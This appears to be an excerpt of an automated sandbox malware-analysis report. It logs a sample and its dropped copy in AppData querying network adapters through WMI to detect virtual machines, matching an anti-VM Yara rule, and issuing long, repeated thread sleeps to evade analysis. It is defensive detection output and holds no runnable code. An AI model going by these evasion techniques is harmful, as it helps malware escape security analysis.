Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 1610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 3140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 3070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 65C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 75C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 7800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 8800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 3200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 1790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 31C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 1790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 6640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 7640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 7880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 8880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 13D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 30E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory allocated: 2F10000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299875	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299766	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299656	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299547	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299438	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299313	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299188	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299063	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298953	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298844	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298610	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298485	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298360	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298235	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298110	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297985	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297860	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297735	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297610	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297484	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297375	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297266	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297156	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297047	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296937	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296828	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296594	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296484	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296375	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296266	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296156	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296047	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295935	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295828	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599876
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599750
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599531
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599202
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 598874
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299988
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299859
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299750
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299640
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299531
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299422
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299311
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299203
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299093
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298871
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298765
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298656
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298547
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298437
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298328
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298218
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298109
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298000
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297890
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297781
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297671
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297562
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297453
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297330
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297203
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297093
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296875
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296765
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296656
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296547
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296437
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296316
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296187
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296078
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295968
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295856
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295749

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Window / User API: threadDelayed 396	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6034	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2591	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Window / User API: threadDelayed 6801	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Window / User API: threadDelayed 3036	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Window / User API: threadDelayed 1649
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Window / User API: threadDelayed 8213

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 1264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3636	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -299063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -298110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -297047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -296047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -295935s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -295828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -295719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe TID: 7200	Thread sleep time: -295609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 3292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599876s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599750s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599641s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599531s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599422s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599313s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599202s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -599094s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -598984s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -598874s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299988s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299859s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299750s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299640s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299531s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299422s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299311s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299203s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -299093s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298984s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298871s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298765s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298656s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298547s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298437s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298328s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298218s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298109s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -298000s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297890s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297781s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297671s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297562s >= -30000s
